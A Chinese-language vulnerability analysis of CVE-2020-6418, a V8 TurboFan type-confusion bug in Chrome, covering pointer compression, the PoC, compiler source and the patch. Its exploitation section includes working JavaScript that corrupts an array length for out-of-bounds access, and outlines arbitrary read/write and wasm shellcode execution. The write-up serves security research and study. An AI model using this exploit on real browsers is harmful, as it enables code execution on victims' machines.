基础知识 -- Pointer compression

Pointer compressionv8 8.0中为提高64位机器内存利用率而引入的机制。

篇幅的原因,这里只简要说下和漏洞利用相关的部分,其余的可以看参考链接。

示例代码:

let aa = [1, 2, 3, 4];
%DebugPrint(aa);
%SystemBreak();

首先是指针长度的变化,之前指针都是64位的,现在是32位。而对象地址中高位的32字节是基本不会改变的,每次花4个字节来存储高32位地址是浪费空间。因此8.0的v8,申请出4GB的空间作为堆空间分配对象,将它的高32位保存在它的根寄存器中(x64r13)。在访问某个对象时,只需要提供它的低32位地址,再加上根寄存器中的值机可以得到完整的地址,因此所有的对象指针的保存只需要保存32位。

在示例代码中可以看到aa的地址为0x12e0080c651d,查看对象中的数据,看到elements字段的地址为0x0825048d,它的根寄存器r130x12e000000000,因此elements的完整地址是0x12e000000000+0x0825048d=0x12e00825048d

pwndbg> job 0x12e0080c651d
0x12e0080c651d: [JSArray]
 - map: 0x12e0082817f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x12e008248f7d <JSArray[0]>
 - elements: 0x12e00825048d <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 4
 - properties: 0x12e0080406e9 <FixedArray[0]> {
    #length: 0x12e0081c0165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x12e00825048d <FixedArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 4
 }

pwndbg> x/4wx 0x12e0080c651c
0x12e0080c651c: 0x082817f1      0x080406e9      0x0825048d      0x00000008 ;; map | properties | elements | length
pwndbg> i r r13
r13            0x12e000000000   0x12e000000000
pwndbg> print 0x12e000000000+0x0825048d
$170 = 0x12e00825048d

其次是SMI的表示,之前64位系统中SMI的表示是value<<32,由于要节约空间且只需要最后一比特来作为pointer tag,于是现在将SMI表示成value<<1。这样SMI表示也从占用64字节变成了32字节。

看示例代码中aa对象的elements,如下所示,可以看到所有的数字都翻倍了,那是因为SMI的表示是value<<1,而左移一位正是乘以2。

pwndbg> job 0x12e00825048d ;; elements
0x12e00825048d: [FixedArray] in OldSpace
 - map: 0x12e0080404d9 <Map>
 - length: 4
           0: 1
           1: 2
           2: 3
           3: 4
pwndbg> x/6wx 0x12e00825048c
0x12e00825048c: 0x080404d9      0x00000008      0x00000002      0x00000004
0x12e00825049c: 0x00000006      0x00000008

Pointer compressionv8的内存带来的提升接近于40%,还是比较大的。当然也还有很多细节没有说明,本打算写一篇关于Pointer compression的文章,但是由于这个漏洞的出现,所以就鸽了,以后有机会再写。

可以想到的是当一个数组从SMI数组,转换成DOUBLE数组时,它所占用的空间几乎会翻倍;同时数组从DOUBLE数组变成object数组时,占用空间会缩小一半。

描述

cve-2020-6418是前几天曝出来的v8的一个类型混淆漏洞,谷歌团队在捕获的一个在野利用的漏洞,80.0.3987.122版本前的chrome都受影响。

根据commit先编译v8:

git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

分析

poc分析

回归测试代码poc如下:

// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];

function empty() {}

function f(p) {
  a.pop(Reflect.construct(empty, arguments, p));
}

let p = new Proxy(Object, {
    get: () => (a[0] = 1.1, Object.prototype)
});

function main(p) {
  f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);

main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);

release版本的v8运行不会报错,使用debug版本的v8运行会报错。

根据commit中的信息,应该是a.pop调用的时候,没有考虑到JSCreate结点存在的side-effect(会触发回调函数),改变a的类型(变成DOUBLE),仍然按之前的类型(SMI)处理。

[turbofan] Fix bug in receiver maps inference

JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the analysis result must be marked
as "unreliable".

为了验证,可以将pop的返回值打印出来,加入代码:

let a = [0, 1, 2, 3, 4];

function empty() {}

function f(p) {
  return a.pop(Reflect.construct(empty, arguments, p));  // return here
}

let p = new Proxy(Object, {
    get: () => (a[0] = 1.1, Object.prototype)
});

function main(p) {
  return f(p);   // return here
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);

print main(empty);
print main(empty);
%OptimizeFunctionOnNextCall(main);
print(main(p));

运行打印出来的结果,看到最后一次本来应该输出2的,却输出为0

$ ../v8/out/x64.release/d8  --allow-natives-syntax   ./poc.js
4
3
0

猜想应该是在Proxy中a的类型从PACKED_SMI_ELEMENTS数组改成了PACKED_DOUBLE_ELEMENTS数组,最后pop返回的时候仍然是按SMI进行返回,返回的是相应字段的数据。

Proxy函数中加入语句进行调试:

let p = new Proxy(Object, {
    get: () => {
        %DebugPrint(a);
        %SystemBreak();
        a[0] = 1.1;
        %DebugPrint(a);
        %SystemBreak();
        return Object.prototype;
    }
});

第一次断点相关数据如下,在elements中可以看到偏移+8为起始的数据的位置,a[2]对应为2

pwndbg> job 0x265a080860cd
0x265a080860cd: [JSArray]
 - map: 0x265a082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x265a08208f7d <JSArray[0]>
 - elements: 0x265a0808625d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
 - length: 3
 - properties: 0x265a080406e9 <FixedArray[0]> {
    #length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x265a0808625d <FixedArray[5]> {
           0: 0
           1: 1
           2: 2
         3-4: 0x265a08040385 <the_hole>
 }
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x082417f1      0x080406e9      0x0808625d      0x00000006 ;; map | properties | elements | length
0x265a080860dc: 0x08244e79      0x080406e9      0x080406e9      0x08086109
0x265a080860ec: 0x080401c5      0x00010001
pwndbg> job 0x265a0808625d
0x265a0808625d: [FixedArray]
 - map: 0x265a080404b1 <Map>
 - length: 5
           0: 0
           1: 1
           2: 2
         3-4: 0x265a08040385 <the_hole>
pwndbg> x/10wx 0x265a0808625c  ;; a's elements
0x265a0808625c: 0x080404b1      0x0000000a      0x00000000      0x00000002 ;; map | length | a[0] | a[1]
0x265a0808626c: 0x00000004      0x08040385      0x08040385      0x08241f99 ;; a[2] | a[3] | a[4]
0x265a0808627c: 0x00000006      0x082104f1

第二次断点,a的类型改变后相关数据如下:

pwndbg> job 0x265a080860cd ;; a
0x265a080860cd: [JSArray]
 - map: 0x265a08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x265a08208f7d <JSArray[0]>
 - elements: 0x265a08086319 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x265a080406e9 <FixedArray[0]> {
    #length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x265a08086319 <FixedDoubleArray[5]> {
           0: 1.1
           1: 1
           2: 2
         3-4: <the_hole>
 }
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x08241891      0x080406e9      0x08086319      0x00000006
0x265a080860dc: 0x08244e79      0x080406e9      0x080406e9      0x08086109
0x265a080860ec: 0x080401c5      0x00010001
pwndbg> job 0x265a08086319  ;; a's elements
0x265a08086319: [FixedDoubleArray]
 - map: 0x265a08040a3d <Map>
 - length: 5
           0: 1.1
           1: 1
           2: 2
         3-4: <the_hole>
pwndbg> x/12wx 0x265a08086318  ;; a's elements
0x265a08086318: 0x08040a3d      0x0000000a      0x9999999a      0x3ff19999 ;; map | properties | elements | length
0x265a08086328: 0x00000000      0x3ff00000      0x00000000      0x40000000
0x265a08086338: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff

pwndbg> x/10gx 0x265a08086318 ;; a's elements
0x265a08086318: 0x0000000a08040a3d      0x3ff199999999999a
0x265a08086328: 0x3ff0000000000000      0x4000000000000000
0x265a08086338: 0xfff7fffffff7ffff      0xfff7fffffff7ffff

pointer compresssion中我们知道SMI是用32位表示,double仍然是使用64位表示的,可以看到其所对应的SMI表示a[2]所在的位置刚好是0,验证了猜想。

可以看到对应的a[3]的数据是浮点数表示的数字10x3ff0000000000000)的高位,因此如果我们将a的长度加1,使得它最后pop出来的是a[3]的话,将数组改成let a = [0, 1, 2, 3, 4, 5];,会打印出来的将是0x3ff00000>>1==536346624,运行验证如下:

$ ../v8/out/x64.release/d8  --allow-natives-syntax   ./poc.js
5
4
536346624

到此,从poc层面理解漏洞结束,下面我们再从源码层面来理解漏洞。

源码分析

JSCallReducer中的builtin inlining

在对漏洞进行分析前,需要先讲述下JSCallReducer中的builtin inlining的原理。

之前在inlining的分析中说过,builtininlining发生在两个阶段:

  • inlining and native context specialization时会调用JSCallReducer来对builtin进行inlining
  • typed lowering阶段调用JSBuiltinReducerbuiltin进行inlining

上面两种情况下,Reducer都会尝试尽可能的将内置函数中最快速的路径内联到函数中来替换相应的JSCall结点。

对于builtin该在哪个阶段(第一个阶段还是第二个)发生inlining则没有非常严格的规定,但是遵循以下的原则:inlining时对它周围结点的类型信息依赖度比较高的builtin,需要在后面的typed lowering阶段能够获取相应结点的类型信息后,再在JSBuiltinReducer中进行inlining;而具有较高优先级(把它们先进行内联后,后续可以更好的优化)的内置函数则要在inlining and native context specialization阶段的JSCallReducer中进行内联,如Array.prototype.popArray.prototype.pushArray.prototype.mapFunction.prototype.apply以及Function.prototype.bind函数等。

JSCallReducerReduceJSCall相关代码如下,可以看到它会根据不同的builtin_id来调用相关的Reduce函数。

// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
                                      const SharedFunctionInfoRef& shared) {
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  Node* target = NodeProperties::GetValueInput(node, 0);

  // Do not reduce calls to functions with break points.
  if (shared.HasBreakInfo()) return NoChange();

  // Raise a TypeError if the {target} is a "classConstructor".
  if (IsClassConstructor(shared.kind())) {
    NodeProperties::ReplaceValueInputs(node, target);
    NodeProperties::ChangeOp(
        node, javascript()->CallRuntime(
                  Runtime::kThrowConstructorNonCallableError, 1));
    return Changed(node);
  }

  // Check for known builtin functions.

  int builtin_id =
      shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
  switch (builtin_id) {
    case Builtins::kArrayConstructor:
      return ReduceArrayConstructor(node);
    ...
    case Builtins::kReflectConstruct:
      return ReduceReflectConstruct(node);
    ...
    case Builtins::kArrayPrototypePop:
      return ReduceArrayPrototypePop(node);

poca.pop函数所对应的builtin_idkArrayPrototypePop

这个阶段的inlining的一个很重要的思想是:确定调用该内置函数的对象的类型;有了相应的类型后,可以根据对象的类型快速的实现相应的功能,从而去掉冗余的多种类型兼容的操作。

kArrayPrototypePop函数功能则是根据对象的类型,将它最后一个元素直接弹出。当a.pop如果知道a的类型为PACKED_SMI_ELEMENTS,则可以根据PACKED_SMI_ELEMENTS类型,直接通过偏移找到该类型最后一个元素的位置(而不用通过复杂运行时来确定),将它置为hole,更新数组长度,并返回该元素的值。

这个过程有一个很重要的前置条件则是确定调用builtin函数的对象进行类型。只有知道了对象的类型,才能够知道相应字段的偏移和位置等,从而快速实现该功能。

如何确定输入对象的类型,以及它的类型是否可靠,v8代码通过MapInference类来实现。

该类的相关代码如下所示,它的作用正如它的注释所示,主要包括两点:

  1. 推断传入的对象的类型(MAP)并返回;
  2. 根据传入的effect,决定推测的返回对象类型(MAP)结果是否可靠,reliable表示返回的对象的类型是可靠的,在后面使用该对象时无需进行类型检查,即可根据该类型进行使用;如果是reliable则表示该类型不一定准确,在后面使用时需要加入检查(加入MAP Check),才能使用。
// compiler/map-inference.h:25
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).

// compiler/map-inference.cc:18
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {
  ZoneHandleSet<Map> maps;
  auto result =
      NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
  maps_.insert(maps_.end(), maps.begin(), maps.end());
  maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
                    ? kUnreliableDontNeedGuard
                    : kReliableOrGuarded;
  DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}

MapInference构造函数调用InferReceiverMapsUnsafe函数来判断推断的Map是否可靠,如下所示。它会遍历将该object作为value input的结点的effect链,追溯看是否存在改变object类型的代码。如果没有会改变对象类型的代码,则返回kReliableReceiverMaps;如果存在结点有属性kNoWrite以及改变对象类型的操作,则表示代码运行过程中可能会改变对象的类型,返回kUnreliableReceiverMaps,表示返回的MAP类型不可靠。

// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {
  HeapObjectMatcher m(receiver);
  if (m.HasValue()) {
    HeapObjectRef receiver = m.Ref(broker);
    // We don't use ICs for the Array.prototype and the Object.prototype
    // because the runtime has to be able to intercept them properly, so
    // we better make sure that TurboFan doesn't outsmart the system here
    // by storing to elements of either prototype directly.
    //
    // TODO(bmeurer): This can be removed once the Array.prototype and
    // Object.prototype have NO_ELEMENTS elements kind.
    if (!receiver.IsJSObject() ||
        !broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
      if (receiver.map().is_stable()) {
        // The {receiver_map} is only reliable when we install a stability
        // code dependency.
        *maps_return = ZoneHandleSet<Map>(receiver.map().object());
        return kUnreliableReceiverMaps;
      }
    }
  }
  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kMapGuard: {
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_return = MapGuardMapsOf(effect->op());
          return result;
        }
        break;
      }
      case IrOpcode::kCheckMaps: {
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_return = CheckMapsParametersOf(effect->op()).maps();
          return result;
        }
        break;
      }
      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_return = ZoneHandleSet<Map>(initial_map->object());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }
      default: {
        DCHECK_EQ(1, effect->op()->EffectOutputCount());
        if (effect->op()->EffectInputCount() != 1) {
          // Didn't find any appropriate CheckMaps node.
          return kNoReceiverMaps;
        }
        if (!effect->op()->HasProperty(Operator::kNoWrite)) {
          // Without alias/escape analysis we cannot tell whether this
          // {effect} affects {receiver} or not.
          result = kUnreliableReceiverMaps;
        }
        break;
...
    // Stop walking the effect chain once we hit the definition of
    // the {receiver} along the {effect}s.
    if (IsSame(receiver, effect)) return kNoReceiverMaps;

    // Continue with the next {effect}.
    DCHECK_EQ(1, effect->op()->EffectInputCount());
    effect = NodeProperties::GetEffectInput(effect);
  }
}

最后来看数组对象的Array.prototype.pop函数所对应的ReduceArrayPrototypePop函数是如何实现builtin inlining的,相关代码如下所示,主要功能为:

  1. 获取pop函数所对应的JSCall结点的valueeffect以及control输入;其中value输入即为调用该函数的对象,即a.pop中的a
  2. 调用MapInference来推断调用pop函数对象类型的MAP,如果没有获取到对象的类型,则不进行优化;
  3. 调用RelyOnMapsPreferStability,来查看获取的类型是否可靠。如果可靠,则无需加入类型检查;如果不可靠,则需要加入类型检查。
  4. 因为前面三步确认了调用pop函数的对象类型,后面就是具体的功能实现,可以直接看注释。根据获取的对象的类型,得到length、计算新的length、获取数组的最后一个值用于返回、将数组的最后一个字段赋值为hole
// compiler/js-call-reducer.cc:4910
// ES6 section 22.1.3.17 Array.prototype.pop ( )
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
  DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access());

  ...
  Node* receiver = NodeProperties::GetValueInput(node, 1);  // 获取value输入
  Node* effect = NodeProperties::GetEffectInput(node);      // 获取effect输入
  Node* control = NodeProperties::GetControlInput(node);    // 获取control输入

  MapInference inference(broker(), receiver, effect);       // 获取调用`pop`函数的对象的类型
  if (!inference.HaveMaps()) return NoChange();     // 如果没有获取到该对象的类型,不进行优化
  MapHandles const& receiver_maps = inference.GetMaps();

  std::vector<ElementsKind> kinds;
  if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
    return inference.NoChange();
  }
  if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
  inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
                                      control, p.feedback());   // 根据类型是否可靠,确定是否要加入类型检查

  std::vector<Node*> controls_to_merge;
  std::vector<Node*> effects_to_merge;
  std::vector<Node*> values_to_merge;
  Node* value = jsgraph()->UndefinedConstant();

  Node* receiver_elements_kind =
      LoadReceiverElementsKind(receiver, &effect, &control);


    // Load the "length" property of the {receiver}.
    Node* length = effect = graph()->NewNode(
        simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)),
        receiver, effect, control);
    ...

      // Compute the new {length}.
      length = graph()->NewNode(simplified()->NumberSubtract(), length,
                                jsgraph()->OneConstant());
        ...
      // Store the new {length} to the {receiver}.
      efalse = graph()->NewNode(
          simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),
          receiver, length, efalse, if_false);
        ...
      // Load the last entry from the {elements}.
      vfalse = efalse = graph()->NewNode(
          simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)),
          elements, length, efalse, if_false);
        ...
      // Store a hole to the element we just removed from the {receiver}.
      efalse = graph()->NewNode(
          simplified()->StoreElement(
              AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),
          elements, length, jsgraph()->TheHoleConstant(), efalse, if_false);


  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

最后来看下RelyOnMapsPreferStability函数是怎么实现加入检查或不加的。当maps_state_不是kUnreliableNeedGuard的时候,即返回的类型推断是可信的时候,则什么都不干直接返回;当类型是不可信的时候,最终会调用InsertMapChecks在图中插入CheckMaps结点。

// compiler/js-call-reducer.cc:120
bool MapInference::RelyOnMapsPreferStability(
    CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
    Node* control, const FeedbackSource& feedback) {
  CHECK(HaveMaps());
  if (Safe()) return false;
  if (RelyOnMapsViaStability(dependencies)) return true;
  CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
  return false;
}

// compiler/map-inference.cc:120
bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }

// compiler/map-inference.cc:114
bool MapInference::RelyOnMapsViaStability(
    CompilationDependencies* dependencies) {
  CHECK(HaveMaps());
  return RelyOnMapsHelper(dependencies, nullptr, nullptr, nullptr, {});
}

// compiler/map-inference.cc:130
bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
                                    JSGraph* jsgraph, Node** effect,
                                    Node* control,
                                    const FeedbackSource& feedback) {
  if (Safe()) return true;

  auto is_stable = [this](Handle<Map> map) {
    MapRef map_ref(broker_, map);
    return map_ref.is_stable();
  };
  if (dependencies != nullptr &&
      std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
    for (Handle<Map> map : maps_) {
      dependencies->DependOnStableMap(MapRef(broker_, map));
    }
    SetGuarded();
    return true;
  } else if (feedback.IsValid()) {
    InsertMapChecks(jsgraph, effect, control, feedback);
    return true;
  } else {
    return false;
  }
}

// compiler/map-inference.cc:101
void MapInference::InsertMapChecks(JSGraph* jsgraph, Node** effect,
                                   Node* control,
                                   const FeedbackSource& feedback) {
  CHECK(HaveMaps());
  CHECK(feedback.IsValid());
  ZoneHandleSet<Map> maps;
  for (Handle<Map> map : maps_) maps.insert(map, jsgraph->graph()->zone());
  *effect = jsgraph->graph()->NewNode(
      jsgraph->simplified()->CheckMaps(CheckMapsFlag::kNone, maps, feedback),
      object_, *effect, control);
  SetGuarded();
}

漏洞分析

理解了上面说的builtin inling以后理解漏洞就很简单了。

根据patch,漏洞出现在InferReceiverMapsUnsafe中,相关代码如下:

// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {
  HeapObjectMatcher m(receiver);
  ...
  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_return = ZoneHandleSet<Map>(initial_map->object());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
+       result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
        break;

patch后的代码在InferReceiverMapsUnsafe函数中遍历到kJSCreate将类型赋值为kUnreliableReceiverMaps,即认为JSCreate可能会给当前对象的类型造成改变。

因此在漏洞版本的v8当中,代码认为JSCreate结点是不会改变当前的类型的类型的,即没有side-effect。而实际在poc中可以看到Reflect.construct转换成JSCreate结点,且它可以通过Proxy来触发回调函数来执行任意代码,当然也包括修改相应对象的类型,因此它是存在side-effect的。

正是对于JSCreate结点的side-effect判断错误,认为它没有side-effect,最终返回kReliableReceiverMaps。导致在builtin inlining过程中RelyOnMapsPreferStability函数没有加入CheckMaps结点,但是仍然按之前的类型进行功能实现(实际类型已经发生改变),导致类型混淆漏洞的产生。

poc函数中,a.pop函数是不需要参数的,但是将Reflect.construct作为它的参数目标是在JSCreate结点和JSCall结点之间生成一条effect链。

当然其他builtin函数的内联也会触发这个洞,这里的array.prototype.pop可以触发越界读;array.protype.push则可以触发越界写。

利用

因为pointer compression的存在,不能像之前一样无脑通过ArrayBuffer来进行任意读写了。但是很容易想到的是可以通过改写数组结构体elementsproperties指针的方式实现堆的4GB空间内任意相对地址读写;可以通过修改ArrayBuffer结构体的backing_store指针来实现绝对地址的读写。

BigUint64Array对象介绍

在这里再介绍对象BigUint64Array的结构体,通过它我们既可以实现4GB堆空间内相对地址的读写;又可以实现任意绝对地址的读写。

示例代码如下:

let aa = new BigUint64Array(4);
aa[0] = 0x1122334455667788n;
aa[1] = 0xaabbaabbccddccddn;
aa[2] = 0xdeadbeefdeadbeefn;
aa[3] = 0xeeeeeeeeffffffffn;
%DebugPrint(aa);
%SystemBreak();

运行后数据如下,需要关注的是它的lengthbase_pointer以及external_pointer字段。它们和之前的指针不一样,都是64字节表示,且没有任何的tag标志。

pwndbg> job 0x179a080c6669
0x179a080c6669: [JSTypedArray]
 - map: 0x179a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
 - prototype: 0x179a08242bc9 <Object map = 0x179a08280699>
 - elements: 0x179a080c6641 <ByteArray[32]> [BIGUINT64ELEMENTS]
 - embedder fields: 2
 - buffer: 0x179a080c6611 <ArrayBuffer map = 0x179a08281189>
 - byte_offset: 0
 - byte_length: 32
 - length: 4
 - data_ptr: 0x179a080c6648
   - base_pointer: 0x80c6641
   - external_pointer: 0x179a00000007
 - properties: 0x179a080406e9 <FixedArray[0]> {}
 - elements: 0x179a080c6641 <ByteArray[32]> {
           0: 1234605616436508552
           1: 12302614530665336029
           2: 16045690984833335023
           3: 17216961135748579327
 }
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

 pwndbg> x/16wx 0x179a080c6668
0x179a080c6668: 0x08280671      0x080406e9      0x080c6641      0x080c6611
0x179a080c6678: 0x00000000      0x00000000      0x00000020      0x00000000
0x179a080c6688: 0x00000004      0x00000000      0x00000007      0x0000179a  
0x179a080c6698: 0x080c6641      0x00000000      0x00000000      0x00000000
pwndbg> x/3gx 0x179a080c6688
0x179a080c6688: 0x0000000000000004      0x0000179a00000007
0x179a080c6698: 0x00000000080c6641

它的数据存储是在data_ptr中,data_ptr的表示是base_pointer+external_pointer

pwndbg> print 0x80c6641+0x179a00000007
$171 = 0x179a080c6648
pwndbg> x/4gx 0x179a080c6648
0x179a080c6648: 0x1122334455667788      0xaabbaabbccddccdd
0x179a080c6658: 0xdeadbeefdeadbeef      0xeeeeeeeeffffffff

external_pointer是高32位地址的值,base_pointer刚好就是相对于高32位地址的4GB堆地址的空间的偏移。初始时external_pointer的地址刚好是根寄存器r13的高32位。

因此我们可以通过覆盖base_pointer来实现4GB堆地址空间的任意读写;可以通过读取external_pointer来获取根的值;可以通过覆盖external_pointerbase_pointer的值来实现绝对地址的任意读写。

当然Float64Array以及Uint32Array的结构体差不多也是这样,但是使用BigInt还有一个好处就是它的数据的64字节就是我们写入的64字节,不像float或者是int一样还需要转换。

漏洞利用

有了上面的基础后就可以进行漏洞利用了。

首先是利用类型混淆实现将float数组的length字段覆盖称很大的值。通过前面我们可以知道DOUBLE数组element长度是8,而object数组长度是4。通过类型混淆在Proxy中将对象从DOUBLE数组变成object数组,在后续pop或者push的时候就会实现越界读写,控制好数组长度,并在后面布置数组的话,则可以刚好读写到后面数组的length字段,代码如下:

const MAX_ITERATIONS = 0x10000;
var maxSize = 1020*4;
var vulnArray = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
vulnArray.pop();
vulnArray.pop();
vulnArray.pop();
var oobArray;
function empty() {}
function evil(optional) {
    vulnArray.push(typeof(Reflect.construct(empty, arguments, optional)) === Proxy? 1.1: 8.063e-320);  // print (i2f(maxSize<<1)) ==> 8.063e-320
    for (let i=0; i<MAX_ITERATIONS; i++) {} // trigger optimization
}

let p = new Proxy(Object, {
    get: () => {
        vulnArray[0] = {};
        oobArray = [1.1, 2.2];
        return Object.prototype;
    }
});

function VulnEntry(func) {
    for (let i=0; i<MAX_ITERATIONS; i++) {}; // trigger optimization
    return evil(func);
}

function GetOOBArray()
{
    for(let i=0; i<MAX_ITERATIONS; i++) {
        empty();
    }
    VulnEntry(empty);
    VulnEntry(empty);
    VulnEntry(p);
}
GetOOBArray();
print("oob array length: "+oobArray.length)

得到了任意长度的double数组以后,可以利用数组进行进一步的越界读写。

有了越界读写以后就可以构造AAR以及AAW原语,构造的方式是利用越界读写来找到布置在oobArray后面的BigUint64Array,然后通过越界写覆盖BigUint64Arraybase_pointer字段以及external_poiner来实现任意地址读写原语。

然后是AddrOf原语以及FakeObj原语的构造,这个和之前的覆盖object数组的字段没有差别,只是从以前的覆盖64字节变成了现在的32字节。

最后就是利用上面的原语来找到wasm对象的rwx内存,写入shellcode,最后触发函数,执行shellcode

其它

在调试的过程中,我有一个疑问就是poc中为什么一定要写一个main函数来调用f函数,main函数中除了f函数的调用以外没有干任何的事情。我去掉main,直接调用f函数行不行呢?

let a = [0, 1, 2, 3, 4];
function empty() {}

function f(p) {
  return a.pop(Reflect.construct(empty, arguments, p));
}

let p = new Proxy(Object, {
    get: () => (Object.prototype)
});

function main(p) {
  return f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);

f(empty);
f(empty);
%OptimizeFunctionOnNextCall(f);
print(f(p));

答案是不行的,将poc改成上面所示代码,是无法漏洞的。

经过分析,发现代码在Reflect.construct函数的内联处理函数ReduceReflectConstruct函数过程中会先将JSCall结点转换成JSConstructWithArrayLike结点。

// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
                                      const SharedFunctionInfoRef& shared) {
    ...

  int builtin_id =
      shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
  switch (builtin_id) {

    ...
    case Builtins::kReflectConstruct:
      return ReduceReflectConstruct(node);

// compiler/js-call-reducer.cc:2841
// ES6 section 26.1.2 Reflect.construct ( target, argumentsList [, newTarget] )
Reduction JSCallReducer::ReduceReflectConstruct(Node* node) {
  ...
  NodeProperties::ChangeOp(node,
                           javascript()->ConstructWithArrayLike(p.frequency()));
  Reduction const reduction = ReduceJSConstructWithArrayLike(node);
  ...
}

ReduceJSConstructWithArrayLike函数中会调用ReduceCallOrConstructWithArrayLikeOrSpread函数。

ReduceCallOrConstructWithArrayLikeOrSpread函数中如果发现目前优化的函数是最外层函数中的函数的话,则会将结点从JSConstructWithArrayLike转化成JSCallForwardVarargs结点,从而最终不会出现JSCreate结点。

// compiler/js-call-reducer.cc:4681
Reduction JSCallReducer::ReduceJSConstructWithArrayLike(Node* node) {
  ...
  return ReduceCallOrConstructWithArrayLikeOrSpread(
      node, 1, frequency, FeedbackSource(),
      SpeculationMode::kDisallowSpeculation, CallFeedbackRelation::kRelated);
}

// compiler/js-call-reducer.cc:3519
Reduction JSCallReducer::ReduceCallOrConstructWithArrayLikeOrSpread(
  ...
  // 如果优化的函数已经是最外层函数中的函数
  // Check if are spreading to inlined arguments or to the arguments of
  // the outermost function.
  Node* outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
  if (outer_state->opcode() != IrOpcode::kFrameState) {
    Operator const* op =
        (node->opcode() == IrOpcode::kJSCallWithArrayLike ||
         node->opcode() == IrOpcode::kJSCallWithSpread)
            ? javascript()->CallForwardVarargs(arity + 1, start_index)  // 转换成JSCallForwardVarargs结点
            : javascript()->ConstructForwardVarargs(arity + 2, start_index);
    NodeProperties::ChangeOp(node, op);
    return Changed(node);
  }
        ...
    NodeProperties::ChangeOp(
        node, javascript()->Construct(arity + 2, frequency, feedback));  // 否则转换成JSConstruct结点
